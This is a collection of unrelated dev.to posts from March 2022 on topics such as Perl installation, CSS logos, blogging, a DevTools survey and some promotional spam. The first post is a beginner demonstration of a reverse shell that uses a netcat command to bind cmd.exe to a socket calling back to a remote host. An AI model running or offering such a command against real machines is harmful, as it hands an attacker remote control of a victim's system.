teleren/devto huggingface dataset:
Glimpse of Reverse Shell
Tags: reverseshell, netcat, cybersecurity, malware
Published: 2022-03-25 09:06:31

Reverse shell is connection that originates from victim machine to attacker machine as result of malware infection or a vulnerability exploitation.

But you can get glimpse of how reverse shell works without exploiting or infecting a machine with simple netcat command. here how it works..

First run the following command on the remote system. The `-l` option sets the netcat on listening mode.

`nc -l -p <port to listen on>`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i1czafe2gacv35ijk6hq.png)

And then run this command on victim machine. The `-e` option binds the standard input and output of a `cmd.exe` instance to netcat socket which is about to establish a connection to the remote machine.

`nc <remote ip> <remote port> -e cmd.exe`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dorov28flqsgapi512z1.png)

Et voilà.. You get a remote shell and you can type commands to get the results on the other end

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yj0vjbw8aku85259xeza.png)

More or less malware and exploits do something similar but in stealthy way. I hope this helps you as beginner how reverse shell works..
Download and Installation of ActivePerl 2022
Tags: perl, beginners, programming
Published: 2022-03-25 08:45:17

**ActivePerl**  is one of the Windows Perl distributions provided by [ActiveState](https://www.activestate.com/) for free.

[![ActivePerl](https://en.perlzemi.com/images/installation/active_perl.png)](https://www.activestate.com/activeperl/downloads)

Let's download and install ActivePerl on Windows.

This article is originally <a href="https://en.perlzemi.com/blog/20080602121231.html">Download and Installation of ActivePerl | Perl ABC</a>

## Installation of ActivePerl

Download and Install ActivePerl from the next page. The 2022 latest version is Perl 5.34.

* [Download and Install ActivePerl](https://www.activestate.com/activeperl/downloads)[![](https://en.perlzemi.com/images/installation/active_perl_click.png)](https://www.activestate.com/activeperl/downloads)

ActivePerl download requires ActiveState membership registration.

After the registration, you see the following page.

![](https://en.perlzemi.com/images/installation/active_perl_create_project.png)

Scroll to the bottom of the page.

![](https://en.perlzemi.com/images/installation/active_perl_create_rantime.png)

Click "Create Runtime". A runtime is created.

If you click "Install" button, you see the following content.

![](https://en.perlzemi.com/images/installation/active_perl_install_runtime.png)

Copy the command and paste it to Command Prompt.

## Check the Installation of ActivePerl

Let's check if ActivePerl is installed.

### Command Prompt

At first, you execute [Command Prompt](https://en.perlzemi.com/blog/20080603121251.html). Command Prompt is a Windows CUI tool.

The command prompt can be executed from:

"Start Menu" | "List of Apps" | "Windows System Tools" | "Command Prompt".

A black screen will appear. This is Command Prompt.

![](https://en.perlzemi.com/images/commandprompt/commandprompt.png)

Input the following command to display the version of Perl.

<pre>
perl -v
</pre>

And press "Enter".

The version information of Perl is displayed.

<pre>
This is perl 5, version 34, subversion 0 (v5.34.0) built for MSWin32-x64-multi-thread
</pre>

If you can see this, the installation of ActivePerl is succeed.

## Other ways to install Perl on Windows

The other ways to install Perl on Windows.

* [Installation of Strawberry Perl on Windows](https://en.perlzemi.com/blog/20180808153368.html)
* [Installation of msys2 and Perl on Windows](https://en.perlzemi.com/blog/20180806153350.html)
Why do I need to create a blog posts buffer? (stop blogging weekly)
Tags: blog, watercooler, beginners, webdev
Published: 2022-03-25 08:42:03

---
published: true
description: I am going to stop blogging weekly before I failed. I am going to explain why.
series: My ❤️ Blogging Experience
canonical_url: https://renanfranca.github.io/2022/03/25/why-do-i-need-to-create-a-blog-posts-buffer.html
---
I am going to stop blogging weekly before I failed. I am going to explain why.

Since I started blogging (last month😅, I am a beginner) I have been using exclusively my phone to write my blog posts because I had to take care of my baby girl. That's leading me to create the following interesting post:

{% link https://dev.to/renanfranca/vscode-on-android-you-dont-need-to-install-anything-3jn3 %}

Then I realized that you enjoyed the objective content and it's getting better if there is a short screen capture video showing how to. Here is another blog post with short video:

{% link https://dev.to/renanfranca/create-a-github-stunning-profile-by-dynamically-listing-your-recent-blog-posts-3g0j %}

As @inhuofficial said in his [blog post](https://dev.to/inhuofficial/it-is-possible-to-get-a-voice-here-tips-to-grow-on-devto-a-mini-rant-27n6):

> It is much better to release an article regularly every 2 or 4 weeks than it is to release sporadically (I should know, I was guilty of this).
People quickly pick up on patterns, even subconsciously, so if you post at a certain time at a regular interval people will start anticipating your articles.
> 

I am carefully trying to say that I am not going to vanish 🥴! But I don't know yet the interval that I am going to publish the next articles.

## Why now?

### Post quality

I will need to screen capture my notebook for the following posts, so I will need more time to make it happens.

### Opportunities

Some opportunities appear because I am blogging. So I need more free time to grab those opportunities and see what is going to happen 😆. 

Last week I participated at Twitter Space hosted by @sohinip and @avdev4j 

{% twitter 1504829456724205570 %}
{% twitter 1504833377144291341 %}

I didn't expect talk in the end and after the space @avdev4j said that want to elaborate something to we do together. Until now I didn't talk to him about that 🤦‍♂️, but I will be available now 😉

### Reading & Engaging

I have 90 articles pending to read and join the discussion. How am I going to write if I don't have time to read, sometimes interesting subjects appear even in the discussion section.

## Buffer my posts

My first blog post was on Tuesday, the next week was on Wednesday, then Thursday and now on Friday. It is crystal clear that I couldn't keep up this pace.

So I decided that before I come back to publish again I am going to build up a buffer. I don't know if I will buffer 3 or 5 blog posts before publishing again.

I do know that with that buffer I won't feel the pressure to create another post immediately.
Quick survey: help improve the simulation options of browser developer tools
Tags: emulation, developertools, survey
Published: 2022-03-25 08:21:04

---
title: Quick survey: help improve the simulation options of browser developer tools
published: true
description: You can simulate print, dark/light schemes, forced colours, reduced motion, colour deficiencies and blurring the screen. As these are hard to find and we want to change that. What option do you like most? 
tags: emulation, developertools, survey
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ohnbpxyp6hk8l7ltmxaf.png
---

Please help us to [improve the emulation features of browser developer tools by filling out a two questions survey](https://forms.office.com/r/b86Sp3PBA4). 

# Background

We're currently working on improving the findability of emulation features in the Microsoft Edge developer tools. Did you know that you can [emulate different vision deficiences](https://docs.microsoft.com/microsoft-edge/devtools-guide-chromium/accessibility/emulate-vision-deficiencies), [dark and light schemes](https://docs.microsoft.com/microsoft-edge/devtools-guide-chromium/accessibility/preferred-color-scheme-simulation), [forced colours](https://docs.microsoft.com/microsoft-edge/devtools-guide-chromium/whats-new/2022/02/devtools) and [print layout](https://docs.microsoft.com/microsoft-edge/devtools-guide-chromium/css/print-preview) amongst other things? 

If you don't, then the problem is that they are hard to find and hidden in the `Rendering` menu. 

![Emulation options in the rendering tool](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nzig91359bgkegq6ohua.png)

To improve this, we are working on a new emulation bar inside the screencast of the [Edge DevTools for Visual Studio Code](https://aka.ms/devtools-for-edge) as a testing ground to change it in the main browser. 

We now need to know [what you'd prefer to see](https://forms.office.com/r/b86Sp3PBA4):

# CSS features emulation

A prioritised set of emulation features:
![Option showing only a few](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/spjwnh41prtv76xqa46z.png)
 
All options as a flat list:

![Long list of emulations](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rzo74bvxbggetmmeybqp.png)
 
A nested list:

![Nested menus to choose CSS emulation feature](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n6noqg9cn2m37mrytsyl.png)
 
# Vision deficiences

Furthermore, we'd like to know if you prefer the vision deficiencies emulation as part of this menu:

![Vision deficiency emulation as part of the main menu](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/81dvt6jpnt6h5hnpt6sp.png)

Or as a separate button/menu:

![Vision deficiency as an own button](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mysef84wjjcgygx5ykrw.png)
 
Please [fill out this quick survey](https://forms.office.com/r/b86Sp3PBA4) or comment here [or on this GitHub issue](https://github.com/microsoft/vscode-edge-devtools/issues/942)

Thanks so much!
Binance Smart Chain - Cooter King
Tags: binance, smart, chain
Published: 2022-03-25 08:18:24

[Cooter King (COOT)](https://cooterking.org/) is a hyper deflationary, auto-staking and auto-compounding BSC token. COOT was made to help support wildlife conservation. We are passionate about preserving our planet’s wildlife for generations to come.
Model Tempat Tidur Yang Cocok Untuk Kamu
Tags: jasainteriordesainmedan, interiordesainmedan, jasaarsitekmedan, arsitekmedan
Published: 2022-03-25 08:13:25


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/spcuut72p4hn0kizo7yi.jpg)
 
Tempat tidur menjadi salah satu komponen penting yang ada di tempat tidur. Meski tidak semua orang menggunakan ranjang tidur, namun dengan menggunakan ranjang tidur kita bisa tidur dengan lebih nyaman. Selain itu, adanya ranjang tidur juga menghindarkan kita dari gangguan serangga jika kita tidur di lantai. Desain yang dimiliki tempat tidur dapat menunjang penampilan desain interior dari suatu kamar. 
Model tempat tidur yang menarik bisa mempengaruhi mood kita ketika tidur. Menggunakan jasa deain interior untuk tampilan kamar yang nyaman bisa menjadi salah satu pilihan tepat bagi kita. [Jasa Interior Desain Medan](https://kontraktor.kactusidea.com/) atau [Jasa Arsitek Medan](https://kontraktor.kactusidea.com/) menjadi salah satu jasa interior desain yang terpercaya dan bisa di andalkan. 

Berikut ini 5 model tempat tidur yang cocok untuk kamu, yaitu :
<strong>1. Tempat tidur berbahan kayu jati</strong>
Kayu jati menjadi material favorite untuk membuat tempat tidur ini. Sebab material kayu jadi menjadi salah satu kayu yang paling kokoh. Dengan adanya finishing yang baik, kayu ini bisa menjadi tempat tidur yang anti rayap dan jamur. Tempat tidur yang terbuat dari kayu jati juga awet dan tidak mudah rusak. Kamu bisa memilih model tempat tidur kayu jati yang memiliki laci di bawahnya. Tempat tidur dari bahan kayu jati ini bisa memberikan kesan mewah bagi tempat tidur Anda

<strong>2. Tempat tidur tingkat</strong>
Untuk kamu yang memiliki luas kamar tidak luas. Bisa memilih kasur tingkat ini untuk dijadikan sebagai pelengkap kamar tidur Anda. Ada banyak pilihan tempat tidur tingkat yang bisa kamu pilih. Ada juga tempat tidur tingkat yang terbuat dari rangka putih dengan bahan baja ringan.  Tempat tidur ini biasanya dipilih oleh orang tua untuk tempat tidur anak. 

<strong>3. Tempat tidur minimalis multifungsi single bed </strong>
Faktor kenyamanan menjadi alasan utama banyak orang lebih memilih tempat tidur model ini. Single bed saat ini masih menjadi tempat tidur yang paling diminati oleh kebanyakan orang. Tempat tidur model ini juga memiliki laci penyimpanan yang menjadi satu dengan ranjang. Sehingga sangat efektif untuk ruangan kecil.

<strong>4. Tempat tidur minimalis dengan dipan Solid Walnut</strong>
Model tempat tidur ini ternyata bisa menahan hingga beban 200 kg. Meskipun memiliki tampilan yang minimalis sederhana, namun tempat tidur ini terbukti memiliki bahan yang kokoh. 

<strong>5. Tempat tidur American Style dari kayu Mahoni</strong>
Kayu mahoni menjadi salah satu kayu yang banyak dipakai untuk membuat tempat tidur. Kayu ini memiliki sifat yang halus dan natural. Memiliki daya tahan kayu yang cukup stabil. Selain itu, juga tidak mudah mengalami penyusutan. 

Itulah 5 model tempat tidur yang bisa kamu gunakan sebagai referensi tempat tidur nyaman. Dengan desain yang menarik, tempat tidur ini akan menunjang desain interior kamar kamu.
A Fun Programming Joke To Start Your Day
Tags: jokes, dailydeveloperjokes, watercooler
Published: 2022-03-25 08:00:16

---
title: "A Fun Programming Joke To Start Your Day"
description: "Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)"
series: "Daily Developer Jokes"
published: true
tags: #jokes, #dailydeveloperjokes, #watercooler
---

Hi there! Here's today's Daily Developer Joke. We hope you enjoy it; it's a good one.

![Joke Image](https://private.xtrp.io/projects/DailyDeveloperJokes/public_image_server/images/5e1259a922f36.png)

---

For more jokes, and to submit your own joke to get featured, check out the [Daily Developer Jokes Website](https://dailydeveloperjokes.github.io/). We're also open sourced, so feel free to view [our GitHub Profile](https://github.com/dailydeveloperjokes).

### Leave this post a ❤️ if you liked today's joke, and stay tuned for tomorrow's joke too!

_This joke comes from [Dad-Jokes GitHub Repo by Wes Bos](https://github.com/wesbos/dad-jokes) (thank you!), whose owner has given me permission to use this joke with credit._

<!--
Joke text:
___Q___: What is a developer's favorite country song?

___A___: Hello World - by Lady Antebellum
 -->
( ⭐ HTML Tip ⭐ ) - Hidden Property
Tags: webdev, html, javascript, programming
Published: 2022-03-25 07:46:08

No need to use CSS to hide stuff.
Instead of "display:none" , You can use hidden property to hide element directly from HTML. 


![HTML Hidden](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/icrxcdmnv2u3t7gh7xky.jpg)
Trying to start a business
Tags: career, startup, beginners, wordpress
Published: 2022-03-25 07:35:32

**This post would pretty much be about everything I did wrong with my business.** But before we start, I want to make a thing clear. This post isn't made to promote any of my business. 

**So let's start with the juicy details!** So it all started one day, when I decided to make a business. I found this interesting thing called WordPress, so I ended up buying SiteGround's shared hosting plan and installed WordPress.

**I wrote day after day, and still, no income!** Well, I got 3 subscribers. Wait... 3? So from that day on, I started to use medium and dev.to. 

**But the real juicy bit isn't here yet.** It's the part where I learned HTML that is a real changer. This is a snapshot of a recent project I am making, I'll upload a new article when I finish the project.

```
onComplete: function(){
            alert("PRISON TIME!")
            open("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
            open("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
            location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

            close()
}
```
**Ok, that's irrelevant.** Anyway, I started learning HTML, and now I want to make a business with HTML! Sadly, I am not finished yet, I will also upload another post when I am finished! See you then!

**Just one last favour to ask.** You see, a few days ago, I was browsing google, trying to find free tools. Guess what, I can find almost nothing that's free! So I made a [reddit community](https://www.reddit.com/r/freetechstuff/) focused on that very topic, so if you know a free website, please leave a link?
https://www.reddit.com/r/freetechstuff/
CSS Logos: Netflix logo
Tags: css
Published: 2022-03-25 07:16:53

For today's article, we'll recreate the iconic Netflix logo. While working on this logo, I found it was quite an easy one.

Super fun to try yourself 💖

Let's take a look at the logo.

![Netflix logo](https://cdn.hashnode.com/res/hashnode/image/upload/v1647410910018/spTELtuIz.jpeg)

## Analysing the logo

The logo is built up by three sticks of the same size; however, the middle one casts a shadow and is skewed.

Then at the bottom, it's good to note the logo is a bit rounded off.

My idea is to leverage borders for the two side pillars and pseudo-elements to make the skew stick + the rounded bottom section.

## Recreating the Netflix logo in CSS

Let's create a simple box and set the borders left and right to get started.

```css
.netflix {
  height: 15rem;
  width: 3rem;
  border-left: 3rem solid #e50914;
  border-right: 3rem solid #e50914;
  position: relative;
}
```

It's important to note the `3rem` will be the size for each stick.

So far, we get the following styled element.

![Two sticks styled](https://cdn.hashnode.com/res/hashnode/image/upload/v1647411594061/h7EtXSW0u.png)

Let's add a before element to add the third skew line.
The main idea is that this can be simply the width and height of the box.

```css
&:before {
  display: block;
  content: '';
  width: 100%;
  height: 100%;
  background: #e50914;
  transform: skewX(21.5deg);
  box-shadow: 0 0 30px black;
}
```

We can see we skew the element to fit the edges and add a bit of box-shadow to cast the shadow on the sticks below.

The last thing we need is the bottom rounded effect.
We'll leverage a round box that we offset from the bottom.

```css
&:after {
  content: '';
  width: 15rem;
  height: 2rem;
  background: black;
  border-radius: 50%;
  display: block;
  position: absolute;
  left: -200%;
  top: 98%;
}
```

Which result in the following CodePen.

{% codepen https://codepen.io/rebelchris/pen/NWXGWvd %}

### Thank you for reading, and let's connect!

Thank you for reading my blog. Feel free to subscribe to my email newsletter and connect on [Facebook](https://www.facebook.com/DailyDevTipsBlog) or [Twitter](https://twitter.com/DailyDevTips1)
This Week in Python
Tags: python
Published: 2022-03-18 08:28:09


**Fri, March 18, 2022**

This Week in Python is a concise reading list about what happened in the past week in the Python universe. 

## Python Articles

- [Processing large JSON files in Python without running out of memory](https://pythonspeed.com/articles/json-memory-streaming/)
- [Python 3.11 Preview: Even Better Error Messages](https://realpython.com/python311-error-messages/)
- [Jupyter Everywhere](https://blog.jupyter.org/jupyter-everywhere-f8151c2cc6e8?gi=90e9b811de28) – Easily embed a console, a notebook, or a fully-fledged IDE on any web page.
- [Python Logging Messages And Exit Codes](https://abbbi.github.io/logging/)
- [Building a blog from scratch in 2022 using Hugo, Docker and a little bit of Python](https://blog.ioces.com/matt/posts/everything-old-is-new-again/)

## Projects

- [reactivated](https://github.com/silviogutierrez/reactivated) – Zero-configuration Django and React.
- [discord.py](https://github.com/Rapptz/discord.py) – An API wrapper for Discord written in Python.
- [transformers](https://github.com/huggingface/transformers) – Transformers: Machine Learning for Pytorch, TensorFlow, and JAX.
- [drf-excel](https://github.com/wharton/drf-excel) – An XLSX spreadsheet renderer for Django REST Framework.
- [pointers.py](https://github.com/ZeroIntensity/pointers.py) – Bringing the hell of pointers to Python.
Why You don't need serverless and microservice ?
Tags: javascript, webdev, node, typescript
Published: 2022-03-25 07:08:23

Almost every day, we receive new concepts from different areas, where some of them are not new things but renamed or falsely prepared in order to have a better sale.

In software development, it is the same.
We encounter new concepts like bigdata, nosql, serverless, microservice, aop, orm, xhtml, agile, semver. Most of them are detailed descriptions extending our knowledge on software development, but some of them may not.

In my option, serverless and microservice are totally useless concept. 

If someone want to be serveless, he must understand a lot of new concepts which is much more difficult than he build a backend server, and more platform specific, which means he must spend a lot of time in migrating from one platform to another and code once run only one place.

while microservice concept is another useless concept, we start service in order to meet business need not to meet new concepts. 

The software development process can never be changed, it is always from small to large, from fixed to scalable.
microservice is a useless concept will you always need a new small module when your businesses are getting more and more complicated.
Further more, almost software modules can be described as microservices.

In another way, for most businesses, the logic behind the business will never change, the only thing we need to do is to find and detail it .

Concepts ignoring humanity and the real logic are very common, beside the microservice and serverless, concepts like xhtml, semver, nosql are almost the same.

Xhtml uses strict mode which offers bad user interface.
semver's keeps green idea wastes too much time on maintain packages than develop new features. 
Nosql's misleading in that it can replace rdb causes a lot of database misuse.

These things happen every day. But if you stay focus on your own business, you may not be distracted by such concepts.
What do you expect from an intern to accept his/her application?
Tags: internship, discuss, beginners, webdev
Published: 2022-03-25 06:52:05

Hi i'm currently looking for an internship for summer 2022 and i sent my resume to tons of companies but everyone rejected me and i think i have an acceptable resume for an intern. so here is my question what makes you as a company manager, employer, etc. to accept or reject an internship application? thank you.
Link Referensi
Tags: healty
Published: 2022-03-25 06:49:37

[https://ahligigi-serang.blogspot.com/](https://ahligigi-serang.blogspot.com/)
[https://ahligigi-serang.blogspot.com/2022/03/definisi-gigi-dan-jenis-jenisnya-terbaru.html](https://ahligigi-serang.blogspot.com/2022/03/definisi-gigi-dan-jenis-jenisnya-terbaru.html) 
[https://ahligigi-serang.blogspot.com/p/tambal-gigi-dan-jenis-jenisnya-terbaru.html](https://ahligigi-serang.blogspot.com/p/tambal-gigi-dan-jenis-jenisnya-terbaru.html)